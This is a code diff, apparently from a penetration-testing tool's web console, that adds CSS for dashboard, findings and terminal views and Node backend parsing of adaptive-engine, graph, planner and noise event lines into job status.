||||
/* graph split: finding list + graph view */
|
||||
.graph-split { display: flex; gap: 0; height: 100%; min-height: 540px; }
|
||||
.graph-finding-list { width: 220px; min-width: 180px; flex: none; border-right: 1px solid var(--border); overflow-y: auto; background: var(--surface); padding: 0; }
|
||||
.gfl-header { font-size: var(--fs-xs); font-weight: 700; text-transform: uppercase; letter-spacing: .04em; color: var(--text-dim); padding: var(--sp-3) var(--sp-3) var(--sp-2); }
|
||||
.gfl-header { font-size: var(--fs-xs); font-weight: 700; text-transform: none; color: var(--text-dim); padding: var(--sp-3) var(--sp-3) var(--sp-2); }
|
||||
.gfl-note { font-size: var(--fs-2xs); color: var(--text-dim); padding: 0 var(--sp-3) var(--sp-2); line-height: 1.4; font-style: italic; }
|
||||
.gfl-item { display: flex; align-items: center; gap: var(--sp-2); width: 100%; text-align: left; background: none; border: none; border-bottom: 1px solid var(--border); padding: var(--sp-2) var(--sp-3); font-size: var(--fs-xs); color: var(--text); cursor: pointer; line-height: 1.3; }
|
||||
.gfl-item:hover { background: var(--surface-3); }
|
||||
.gfl-item.active { background: var(--accent-soft, rgba(181,89,10,.08)); color: var(--accent); font-weight: 600; border-left: 3px solid var(--accent); }
|
||||
.gfl-item.active { background: var(--accent-soft, rgba(75,63,209,.10)); color: var(--accent); font-weight: 600; border-left: 3px solid var(--accent); }
|
||||
.gfl-item .gfl-sev { font-size: var(--fs-2xs); font-weight: 700; flex: none; padding: 1px 5px; border-radius: var(--radius-xs); }
|
||||
.gfl-item .gfl-title { overflow: hidden; text-overflow: ellipsis; white-space: nowrap; flex: 1; }
|
||||
.graph-main { flex: 1; overflow: hidden; display: flex; flex-direction: column; }
|
||||
@@ -1170,10 +1235,285 @@ a.deliv-card:hover { border-color: var(--accent); }
|
||||
.gm-finding-desc .fd-title { font-weight: 600; font-size: var(--fs-base); }
|
||||
.gm-finding-desc .fd-cards { display: grid; grid-template-columns: repeat(auto-fill, minmax(120px, 1fr)); gap: var(--sp-2); margin-bottom: var(--sp-3); }
|
||||
.gm-finding-desc .fd-card { border: 1px solid var(--border); border-radius: var(--radius-sm); padding: var(--sp-2) var(--sp-3); }
|
||||
.gm-finding-desc .fd-card-label { font-size: var(--fs-2xs); text-transform: uppercase; letter-spacing: .04em; color: var(--text-faint); font-weight: 600; }
|
||||
.gm-finding-desc .fd-card-label { font-size: var(--fs-xs); text-transform: none; color: var(--text-faint); font-weight: 600; }
|
||||
.gm-finding-desc .fd-card-value { font-size: var(--fs-sm); font-weight: 500; margin-top: 2px; font-family: var(--mono); }
|
||||
.gm-finding-desc .fd-section { margin-bottom: var(--sp-3); }
|
||||
.gm-finding-desc .fd-section:last-child { margin-bottom: 0; }
|
||||
.gm-finding-desc .fd-section-title { font-size: var(--fs-2xs); font-weight: 700; text-transform: uppercase; letter-spacing: .04em; color: var(--text-faint); margin-bottom: var(--sp-1); }
|
||||
.gm-finding-desc .fd-section-title { font-size: var(--fs-xs); font-weight: 700; text-transform: none; color: var(--text-faint); margin-bottom: var(--sp-1); }
|
||||
.gm-finding-desc .fd-section p { font-size: var(--fs-sm); color: var(--text-dim); line-height: 1.6; margin: 0; }
|
||||
@media (max-width: 760px) { .graph-finding-list { width: 160px; } }
|
||||
|
||||
/* ============================================================ Search shortcut badge */
|
||||
.search-shortcut { position: absolute; right: 8px; top: 50%; transform: translateY(-50%); font-size: var(--fs-2xs); color: var(--text-faint); font-family: var(--mono); background: var(--surface-3); border: 1px solid var(--border); border-radius: var(--radius-xs); padding: 1px 5px; pointer-events: none; }
|
||||
|
||||
/* ============================================================ Home landing */
|
||||
.home-landing { display: flex; flex-direction: column; align-items: center; justify-content: center; min-height: 100%; padding: var(--sp-7) var(--sp-5); }
|
||||
.home-hero { text-align: center; margin-bottom: var(--sp-7); }
|
||||
.home-title { font-size: 28px; font-weight: 700; margin: 0 0 var(--sp-2); color: var(--text); }
|
||||
.home-sub { font-size: var(--fs-sm); color: var(--text-faint); margin: 0; }
|
||||
.home-suggestions { display: grid; grid-template-columns: repeat(3, 1fr); gap: var(--sp-3); max-width: 780px; width: 100%; }
|
||||
.home-card {
|
||||
display: flex; flex-direction: column; gap: var(--sp-2); padding: var(--sp-4);
|
||||
border: 1px solid var(--border); border-radius: var(--radius-md);
|
||||
background: var(--surface); text-align: left; cursor: pointer;
|
||||
transition: border-color var(--t-base), background var(--t-base);
|
||||
}
|
||||
.home-card:hover { border-color: var(--accent); background: var(--accent-soft); }
|
||||
.home-card-icon { font-size: var(--fs-xl); line-height: 1; }
|
||||
.home-card-title { font-size: var(--fs-sm); font-weight: 600; color: var(--text); }
|
||||
.home-card-desc { font-size: var(--fs-xs); color: var(--text-dim); line-height: 1.4; }
|
||||
.home-recent { max-width: 780px; width: 100%; margin-top: var(--sp-7); }
|
||||
.home-recent:empty { display: none; }
|
||||
.home-recent-title { font-size: var(--fs-xs); font-weight: 600; text-transform: none; color: var(--text-faint); margin-bottom: var(--sp-3); }
|
||||
.home-recent-list { display: flex; flex-direction: column; gap: var(--sp-2); }
|
||||
.home-recent-item {
|
||||
display: flex; align-items: center; gap: var(--sp-3); padding: var(--sp-3) var(--sp-4);
|
||||
border: 1px solid var(--border); border-radius: var(--radius-sm);
|
||||
background: var(--surface); cursor: pointer; transition: border-color var(--t-fast);
|
||||
}
|
||||
.home-recent-item:hover { border-color: var(--accent); }
|
||||
.home-recent-name { font-size: var(--fs-sm); font-weight: 500; flex: 1; }
|
||||
.home-recent-target { font-size: var(--fs-xs); font-family: var(--mono); color: var(--text-faint); }
|
||||
.home-recent-time { font-size: var(--fs-xs); color: var(--text-faint); }
|
||||
@media (max-width: 680px) { .home-suggestions { grid-template-columns: 1fr 1fr; } }
|
||||
@media (max-width: 480px) { .home-suggestions { grid-template-columns: 1fr; } }
|
||||
|
||||
/* ============================================================ Issues page (v4.5) */
|
||||
|
||||
.issues-sev-counters {
|
||||
display: flex; gap: var(--sp-5); flex-wrap: wrap; margin-bottom: var(--sp-4);
|
||||
}
|
||||
.issues-sev-item {
|
||||
display: flex; flex-direction: column; align-items: flex-start; gap: 2px;
|
||||
}
|
||||
.issues-sev-label {
|
||||
display: flex; align-items: center; gap: var(--sp-2); font-size: var(--fs-xs);
|
||||
color: var(--text-faint); text-transform: capitalize;
|
||||
}
|
||||
.issues-sev-dot {
|
||||
width: 8px; height: 8px; border-radius: 50%; flex: none;
|
||||
}
|
||||
.issues-sev-dot.dot-critical { background: var(--sev-critical-fg); }
|
||||
.issues-sev-dot.dot-high { background: var(--sev-high-fg); }
|
||||
.issues-sev-dot.dot-medium { background: var(--sev-medium-fg); }
|
||||
.issues-sev-dot.dot-low { background: var(--sev-low-fg); }
|
||||
.issues-sev-value {
|
||||
font-size: var(--fs-2xl); font-weight: 700; font-variant-numeric: tabular-nums; line-height: 1.1;
|
||||
}
|
||||
|
||||
.issues-status-tabs {
|
||||
display: flex; gap: 0; border-bottom: 1px solid var(--border); margin-bottom: var(--sp-4);
|
||||
}
|
||||
.issues-status-tab {
|
||||
padding: var(--sp-3) var(--sp-4); font-size: var(--fs-sm); font-weight: 500;
|
||||
color: var(--text-faint); background: none; border: none; border-bottom: 2px solid transparent;
|
||||
cursor: pointer; white-space: nowrap; display: flex; align-items: center; gap: var(--sp-2);
|
||||
transition: color var(--t-fast), border-color var(--t-fast);
|
||||
}
|
||||
.issues-status-tab:hover { color: var(--text); }
|
||||
.issues-status-tab.active { color: var(--text); border-bottom-color: var(--accent); font-weight: 600; }
|
||||
.issues-tab-count {
|
||||
font-family: var(--mono); font-size: var(--fs-xs); color: var(--text-faint);
|
||||
}
|
||||
.issues-status-tab.active .issues-tab-count { color: var(--accent); }
|
||||
|
||||
.issues-filter-bar {
|
||||
display: flex; align-items: center; gap: var(--sp-3); flex-wrap: wrap; margin-bottom: var(--sp-3);
|
||||
}
|
||||
.issues-filter-bar .search-wrap { flex: 1; min-width: 200px; max-width: 360px; }
|
||||
|
||||
/* Dashboard greeting */
|
||||
.dash-greeting {
|
||||
font-size: var(--fs-xl); font-weight: 600; margin-bottom: var(--sp-4);
|
||||
}
|
||||
.dash-greeting-sub {
|
||||
font-size: var(--fs-sm); color: var(--text-dim); font-weight: 400; margin-top: 2px;
|
||||
}
|
||||
|
||||
/* Severity progress bar — horizontal stacked bar in run header */
|
||||
.sev-progress { display: flex; height: 8px; border-radius: var(--radius-pill); overflow: hidden; background: var(--surface-3); margin: var(--sp-2) 0; }
|
||||
.sev-progress-seg { height: 100%; transition: width .4s ease; min-width: 0; }
|
||||
.sev-progress-seg.seg-critical { background: var(--sev-critical-fg); }
|
||||
.sev-progress-seg.seg-high { background: var(--sev-high-fg); }
|
||||
.sev-progress-seg.seg-medium { background: var(--sev-medium-fg); }
|
||||
.sev-progress-seg.seg-low { background: var(--sev-low-fg); }
|
||||
.sev-progress-seg.seg-info { background: var(--sev-info-fg); }
|
||||
.sev-progress-legend { display: flex; gap: var(--sp-4); flex-wrap: wrap; margin-top: var(--sp-1); }
|
||||
.sev-progress-legend-item { display: flex; align-items: center; gap: 5px; font-size: var(--fs-2xs); color: var(--text-dim); }
|
||||
.sev-progress-legend-item .spl-dot { width: 8px; height: 8px; border-radius: 50%; flex: none; }
|
||||
.sev-progress-legend-item .spl-count { font-weight: 700; font-family: var(--mono); color: var(--text); }
|
||||
.run-sev-bar { padding: 0 var(--sp-5); margin-bottom: var(--sp-3); }
|
||||
|
||||
/* Coverage status pills */
|
||||
.cv-pills { display: flex; gap: var(--sp-2); flex-wrap: wrap; margin-bottom: var(--sp-3); }
|
||||
.cv-pill { display: inline-flex; align-items: center; gap: 5px; padding: 4px 12px; border-radius: var(--radius-pill); border: 1px solid var(--border); background: var(--surface); font-size: var(--fs-xs); font-weight: 500; color: var(--text-dim); cursor: pointer; transition: all var(--t-fast); }
|
||||
.cv-pill:hover { border-color: var(--border-strong); }
|
||||
.cv-pill.active { background: var(--accent-soft); border-color: var(--accent); color: var(--accent); }
|
||||
.cv-pill .cv-pill-count { font-family: var(--mono); font-weight: 700; }
|
||||
.cv-progress-label { font-size: var(--fs-xs); color: var(--text-faint); margin-left: auto; font-family: var(--mono); }
|
||||
|
||||
/* Enhanced finding modal metadata */
|
||||
.fm-meta-grid { display: grid; grid-template-columns: repeat(4, 1fr); gap: var(--sp-3) var(--sp-4); margin-bottom: var(--sp-4); }
|
||||
@media (max-width: 760px) { .fm-meta-grid { grid-template-columns: repeat(2, 1fr); } }
|
||||
.fm-meta-cell { display: flex; flex-direction: column; gap: 2px; }
|
||||
.fm-meta-label { font-size: var(--fs-xs); text-transform: none; color: var(--text-faint); font-weight: 600; display: flex; align-items: center; gap: 4px; }
|
||||
.fm-meta-value { font-size: var(--fs-base); font-weight: 500; font-family: var(--mono); }
|
||||
.fm-meta-value.fm-cvss { font-size: var(--fs-xl); font-weight: 700; }
|
||||
.fm-meta-value.fm-cvss-high { color: var(--sev-critical-fg); }
|
||||
.fm-meta-value.fm-cvss-med { color: var(--sev-medium-fg); }
|
||||
.fm-meta-value.fm-cvss-low { color: var(--sev-low-fg); }
|
||||
.fm-endpoint-badge { display: inline-flex; align-items: center; gap: 6px; }
|
||||
.fm-endpoint-method { font-family: var(--mono); font-size: var(--fs-2xs); font-weight: 700; padding: 2px 8px; border-radius: var(--radius-xs); }
|
||||
.fm-endpoint-method.m-get { background: var(--sev-low-bg); color: var(--sev-low-fg); }
|
||||
.fm-endpoint-method.m-post { background: var(--accent-soft); color: var(--accent); }
|
||||
.fm-endpoint-method.m-put, .fm-endpoint-method.m-patch { background: var(--sev-medium-bg); color: var(--sev-medium-fg); }
|
||||
.fm-endpoint-method.m-delete { background: var(--sev-critical-bg); color: var(--sev-critical-fg); }
|
||||
.fm-endpoint-path { font-family: var(--mono); font-size: var(--fs-xs); color: var(--text-dim); overflow: hidden; text-overflow: ellipsis; white-space: nowrap; max-width: 220px; }
|
||||
|
||||
/* CVSS vector string — small, muted, below the score */
|
||||
.fm-cvss-vector { display: block; font-size: var(--fs-2xs); font-family: var(--mono); color: var(--text-faint); font-weight: 400; word-break: break-all; max-width: 180px; margin-top: 2px; }
|
||||
|
||||
/* Finding modal action buttons — inline row, not full-width stack */
|
||||
.fm-actions { display: flex; flex-direction: row; gap: var(--sp-2); margin-bottom: var(--sp-4); flex-wrap: wrap; }
|
||||
.fm-action-btn { display: inline-flex; align-items: center; gap: var(--sp-2); padding: var(--sp-2) var(--sp-3); border: 1px solid var(--border); border-radius: var(--radius-sm); background: var(--surface-2); font-size: var(--fs-xs); color: var(--text-dim); cursor: pointer; transition: all var(--t-fast); text-align: left; white-space: nowrap; }
|
||||
.fm-action-btn:hover { border-color: var(--border-strong); color: var(--text); background: var(--surface-3); }
|
||||
|
||||
/* Issue table endpoint subtitle */
|
||||
.issue-title-cell { display: flex; flex-direction: column; gap: 2px; }
|
||||
.issue-title-main { font-weight: 500; }
|
||||
.issue-endpoint-sub { font-size: var(--fs-2xs); font-family: var(--mono); color: var(--text-faint); overflow: hidden; text-overflow: ellipsis; white-space: nowrap; max-width: 400px; }
|
||||
|
||||
/* Run overview / report quick-nav */
|
||||
.run-report-nav { display: flex; flex-direction: column; gap: var(--sp-1); padding: var(--sp-3); border: 1px solid var(--border); border-radius: var(--radius-sm); background: var(--surface); margin-bottom: var(--sp-4); }
|
||||
.run-report-nav-title { font-size: var(--fs-xs); text-transform: none; color: var(--text-faint); font-weight: 600; margin-bottom: var(--sp-2); }
|
||||
.run-report-nav a { font-size: var(--fs-sm); color: var(--text-dim); padding: var(--sp-1) var(--sp-2); border-radius: var(--radius-xs); text-decoration: none; transition: all var(--t-fast); }
|
||||
.run-report-nav a:hover { background: var(--surface-3); color: var(--text); }
|
||||
|
||||
/* ============================================================ Refinement layer (v4.5)
|
||||
Icons, form controls, spacing rhythm. Loaded last on purpose: these rules
|
||||
adjust the rules above rather than replace them, so every class and id the
|
||||
console's JS relies on is unchanged. */
|
||||
|
||||
/* ---- icons: one stroke set, inherits colour */
|
||||
.ico { width: 18px; height: 18px; fill: none; stroke: currentColor; stroke-width: 1.6; stroke-linecap: round; stroke-linejoin: round; display: block; flex: none; }
|
||||
.sb-nav-icon { display: inline-flex; align-items: center; justify-content: center; width: 18px; height: 18px; opacity: .72; }
|
||||
.sb-nav-item.active .sb-nav-icon, .sb-nav-item:hover .sb-nav-icon { opacity: 1; }
|
||||
.icon-btn .ico { width: 16px; height: 16px; }
|
||||
.search-icon { display: inline-flex; align-items: center; }
|
||||
.search-icon .ico { width: 14px; height: 14px; }
|
||||
.home-card-icon { display: grid; place-items: center; width: 34px; height: 34px; border-radius: var(--radius-sm); background: var(--accent-soft); color: var(--accent); }
|
||||
.home-card-icon .ico { width: 18px; height: 18px; }
|
||||
|
||||
/* ---- sidebar */
|
||||
.sb-new {
|
||||
display: flex; align-items: center; gap: var(--sp-2); justify-content: center; text-align: center;
|
||||
background: var(--accent); border-color: var(--accent); color: var(--accent-contrast);
|
||||
min-height: 34px; padding-block: 0;
|
||||
}
|
||||
.sb-new:hover { background: var(--accent-hover); border-color: var(--accent-hover); color: var(--accent-contrast); }
|
||||
.sb-new .ico { width: 15px; height: 15px; stroke-width: 2; }
|
||||
.sb-nav { gap: 2px; }
|
||||
.sb-nav-item { position: relative; min-height: 32px; padding-block: 0; }
|
||||
.sb-nav-item.active::before { content: ""; position: absolute; left: -8px; top: 7px; bottom: 7px; width: 3px; border-radius: 0 3px 3px 0; background: var(--accent); }
|
||||
.sb-nav-separator { margin: var(--sp-2) var(--sp-3); }
|
||||
|
||||
/* ---- form controls: one height, one focus treatment, legible placeholder */
|
||||
input[type="text"], input[type="number"], input[type="password"], input[type="search"], select { min-height: 34px; }
|
||||
input, select, textarea { transition: border-color var(--t-fast), box-shadow var(--t-fast), background var(--t-fast); }
|
||||
input::placeholder, textarea::placeholder { color: var(--text-faint); opacity: 1; }
|
||||
input:hover:not(:disabled):not(:focus), select:hover:not(:disabled):not(:focus), textarea:hover:not(:disabled):not(:focus) { border-color: var(--text-faint); }
|
||||
input:focus-visible, select:focus-visible, textarea:focus-visible {
|
||||
outline: none; border-color: var(--accent);
|
||||
box-shadow: 0 0 0 3px color-mix(in srgb, var(--accent) 24%, transparent);
|
||||
}
|
||||
input:disabled, select:disabled, textarea:disabled { background: var(--surface-3); color: var(--text-faint); cursor: not-allowed; }
|
||||
input[aria-invalid="true"], textarea[aria-invalid="true"] { border-color: var(--sev-critical-fg); }
|
||||
select {
|
||||
appearance: none; -webkit-appearance: none; padding-right: 30px; cursor: pointer;
|
||||
background-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 24 24' fill='none' stroke='%2368738a' stroke-width='2.2' stroke-linecap='round' stroke-linejoin='round'%3E%3Cpath d='m6 9 6 6 6-6'/%3E%3C/svg%3E");
|
||||
background-repeat: no-repeat; background-position: right 10px center; background-size: 12px;
|
||||
}
|
||||
:root[data-theme="dark"] select {
|
||||
background-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 24 24' fill='none' stroke='%23a0a9ba' stroke-width='2.2' stroke-linecap='round' stroke-linejoin='round'%3E%3Cpath d='m6 9 6 6 6-6'/%3E%3C/svg%3E");
|
||||
}
|
||||
input[type="number"] { font-variant-numeric: tabular-nums; }
|
||||
.field-label { color: var(--text-dim); font-size: var(--fs-sm); }
|
||||
.field-error::before { content: ""; display: inline-block; width: 6px; height: 6px; margin-right: 6px; border-radius: 50%; background: currentColor; vertical-align: 1px; }
|
||||
::selection { background: color-mix(in srgb, var(--accent) 28%, transparent); }
|
||||
|
||||
/* ---- type details */
|
||||
.topbar-sub { font-family: var(--sans); font-size: var(--fs-sm); color: var(--text-dim); }
|
||||
.stat-value, .bar-row > :last-child, .data-table td, .score-ring-value { font-variant-numeric: tabular-nums; }
|
||||
.home-title { font-size: 30px; letter-spacing: -.015em; line-height: 1.2; }
|
||||
.home-sub { font-size: var(--fs-base); color: var(--text-dim); }
|
||||
|
||||
/* ---- spacing rhythm: 24px page gutter, 16px between cards, 12px inside lists */
|
||||
.page-body { padding: var(--sp-5) var(--sp-5) var(--sp-7); }
|
||||
.dash-grid { gap: var(--sp-4); align-items: start; }
|
||||
.dash-card { padding: var(--sp-4) var(--sp-5); }
|
||||
.dash-card h3 { font-size: var(--fs-base); margin-bottom: var(--sp-4); }
|
||||
.bar-row { padding: 5px 0; }
|
||||
.topbar { padding-block: var(--sp-3); }
|
||||
|
||||
/* ---- home: left-aligned rows (they are buttons, which centre text by default) */
|
||||
.home-landing { justify-content: flex-start; padding-top: clamp(32px, 11vh, 112px); }
|
||||
.home-hero { margin-bottom: var(--sp-6); }
|
||||
.home-suggestions { gap: var(--sp-4); }
|
||||
.home-card { gap: var(--sp-3); padding: var(--sp-4) var(--sp-5); }
|
||||
.home-recent { margin-top: var(--sp-6); }
|
||||
.home-recent-item { width: 100%; text-align: left; font: inherit; color: inherit; }
|
||||
.home-recent-name { text-align: left; min-width: 0; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; }
|
||||
.home-recent-target { max-width: 40%; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; }
|
||||
|
||||
@media (prefers-reduced-motion: reduce) {
|
||||
input, select, textarea, .sb-nav-item, .home-card { transition: none; }
|
||||
}
|
||||
|
||||
|
||||
/* FAIR range: three figures on one row (the roomier card padding made them wrap) */
|
||||
.fair-range { display: grid; grid-template-columns: minmax(0, 1fr) minmax(0, 1.5fr) minmax(0, 1fr); gap: var(--sp-3); align-items: end; }
|
||||
.fair-point { min-width: 0; }
|
||||
.fair-point .fair-v, .fair-point-likely .fair-v { white-space: nowrap; }
|
||||
.fair-hero { padding: var(--sp-4); }
|
||||
/* status tint on the score tile: a wash, not a fill — the ring and the word carry the signal */
|
||||
.stat-score.sev-critical { background: color-mix(in srgb, var(--sev-critical-bg) 45%, var(--surface)); }
|
||||
.stat-score.sev-high { background: color-mix(in srgb, var(--sev-high-bg) 45%, var(--surface)); }
|
||||
.stat-score.sev-medium { background: color-mix(in srgb, var(--sev-medium-bg) 45%, var(--surface)); }
|
||||
.stat-score.sev-low { background: color-mix(in srgb, var(--sev-low-bg) 45%, var(--surface)); }
|
||||
.fair-point .v { white-space: nowrap; font-size: var(--fs-lg); }
|
||||
.fair-likely .v { font-size: var(--fs-2xl); }
|
||||
|
||||
/* buttons that carry an icon */
|
||||
.btn { display: inline-flex; align-items: center; justify-content: center; gap: var(--sp-2); }
|
||||
.btn .ico { width: 15px; height: 15px; }
|
||||
.icon-btn .ico { width: 15px; height: 15px; }
|
||||
/* six engagement types: two clean rows of three instead of five + one orphan */
|
||||
.mode-tiles { grid-template-columns: repeat(3, minmax(0, 1fr)); }
|
||||
@media (max-width: 560px) { .mode-tiles { grid-template-columns: repeat(2, minmax(0, 1fr)); } }
|
||||
|
||||
/* ---- terminal dock */
|
||||
.term-head { padding: var(--sp-2) var(--sp-4); gap: var(--sp-3); }
|
||||
.term-target {
|
||||
min-height: 28px; padding: 3px 28px 3px 10px;
|
||||
background-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 24 24' fill='none' stroke='%23a5a099' stroke-width='2.2' stroke-linecap='round' stroke-linejoin='round'%3E%3Cpath d='m6 9 6 6 6-6'/%3E%3C/svg%3E");
|
||||
background-repeat: no-repeat; background-position: right 9px center; background-size: 12px;
|
||||
}
|
||||
.term-btn { min-height: 26px; }
|
||||
.term-host { padding: var(--sp-3) var(--sp-4) var(--sp-2); }
|
||||
.term-hints { padding: var(--sp-2) var(--sp-4) var(--sp-3); font-size: var(--fs-xs); border-top: 1px solid var(--term-line); }
|
||||
/* FitAddon subtracts the padding of the .xterm element, not of its parent (and
|
||||
border-box makes the parent's computed width include its own padding), so the
|
||||
gutter has to live on .xterm or the last columns are clipped. */
|
||||
.term-host { padding: 0; }
|
||||
.term-host .xterm { padding: var(--sp-3) var(--sp-4) var(--sp-2); height: 100%; }
|
||||
|
||||
/* ── Adaptive Intelligence tab ── */
|
||||
.adaptive-dashboard { display: grid; grid-template-columns: repeat(auto-fit, minmax(280px, 1fr)); gap: var(--sp-4); padding: var(--sp-4); }
|
||||
.adaptive-section { background: var(--bg-2); border: 1px solid var(--line); border-radius: var(--r-md); padding: var(--sp-4); }
|
||||
.adaptive-title { font-size: var(--fs-sm); font-weight: 600; text-transform: uppercase; letter-spacing: 0.04em; color: var(--fg-2); margin: 0 0 var(--sp-3); }
|
||||
.adaptive-stats-grid { display: grid; grid-template-columns: repeat(auto-fit, minmax(80px, 1fr)); gap: var(--sp-3); }
|
||||
.astat { text-align: center; }
|
||||
.astat-n { display: block; font-size: var(--fs-xl, 1.5rem); font-weight: 700; font-variant-numeric: tabular-nums; color: var(--fg-1); }
|
||||
.astat-l { font-size: var(--fs-xs); color: var(--fg-3); text-transform: uppercase; letter-spacing: 0.03em; }
|
||||
.adaptive-stack, .adaptive-waf { font-size: var(--fs-sm); color: var(--fg-2); line-height: 1.5; }
|
||||
.adaptive-stack code, .adaptive-waf code { background: var(--bg-1); padding: 1px 4px; border-radius: var(--r-sm); font-size: var(--fs-xs); }
|
||||
+47
-2
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env node
|
||||
'use strict';
|
||||
/**
|
||||
* NeuroSploit v4.4.0 — web console backend.
|
||||
* NeuroSploit v4.4.1 — web console backend.
|
||||
*
|
||||
* Zero-dependency Node HTTP server that:
|
||||
* - serves the static SPA in ./public
|
||||
@@ -109,7 +109,7 @@ const BIN = findBinary();
|
||||
// string. This keeps the web UI and the CLI binary in lockstep: bump the crate,
|
||||
// rebuild, and the title/badge/UA all move together with no web edit. Falls back
|
||||
// to the package string only when the binary is missing.
|
||||
const FALLBACK_VERSION = '4.4.0';
|
||||
const FALLBACK_VERSION = '4.4.1';
|
||||
function binaryVersion() {
|
||||
if (!BIN) return FALLBACK_VERSION;
|
||||
try {
|
||||
@@ -1156,6 +1156,51 @@ function ingestLine(job, rawLine) {
|
||||
} catch { /* ignore malformed line */ }
|
||||
}
|
||||
|
||||
// Adaptive engine events
|
||||
const adaptJson = norm.match(/^adaptive_json:\s*(.+)$/);
|
||||
if (adaptJson) {
|
||||
try {
|
||||
const data = JSON.parse(adaptJson[1]);
|
||||
if (!job.adaptive) job.adaptive = { waf: null, stack: null, payloads: 0, blocked: 0, triggered: 0 };
|
||||
if (data.waf) job.adaptive.waf = data.waf;
|
||||
if (data.stack) job.adaptive.stack = data.stack;
|
||||
if (data.payloads !== undefined) job.adaptive.payloads = data.payloads;
|
||||
if (data.blocked !== undefined) job.adaptive.blocked = data.blocked;
|
||||
if (data.triggered !== undefined) job.adaptive.triggered = data.triggered;
|
||||
job.push({ type: 'adaptive', data });
|
||||
} catch { /* ignore malformed */ }
|
||||
}
|
||||
// Exploration graph events
|
||||
const graphJson = norm.match(/^graph_json:\s*(.+)$/);
|
||||
if (graphJson) {
|
||||
try {
|
||||
const data = JSON.parse(graphJson[1]);
|
||||
if (!job.graph) job.graph = { assets: 0, explored: 0, findings: 0, coverage: 0, hints: 0 };
|
||||
Object.assign(job.graph, data);
|
||||
job.push({ type: 'graph', data });
|
||||
} catch { /* ignore */ }
|
||||
}
|
||||
// Planner events
|
||||
const planJson = norm.match(/^planner_json:\s*(.+)$/);
|
||||
if (planJson) {
|
||||
try {
|
||||
const data = JSON.parse(planJson[1]);
|
||||
if (!job.planner) job.planner = { queued: 0, running: 0, done: 0, failed: 0 };
|
||||
Object.assign(job.planner, data);
|
||||
job.push({ type: 'planner', data });
|
||||
} catch { /* ignore */ }
|
||||
}
|
||||
// Noise governor events
|
||||
const noiseJson = norm.match(/^noise_json:\s*(.+)$/);
|
||||
if (noiseJson) {
|
||||
try {
|
||||
const data = JSON.parse(noiseJson[1]);
|
||||
if (!job.noise) job.noise = { requests: 0, cached: 0, throttled: 0, blocked: 0 };
|
||||
Object.assign(job.noise, data);
|
||||
job.push({ type: 'noise', data });
|
||||
} catch { /* ignore */ }
|
||||
}
|
||||
|
||||
const rep = line.match(/report:\s*(file:\/\/\S+)/);
|
||||
if (rep) job.reportUrl = rep[1];
|
||||
|
||||
|
||||
Reference in new issue
Block a user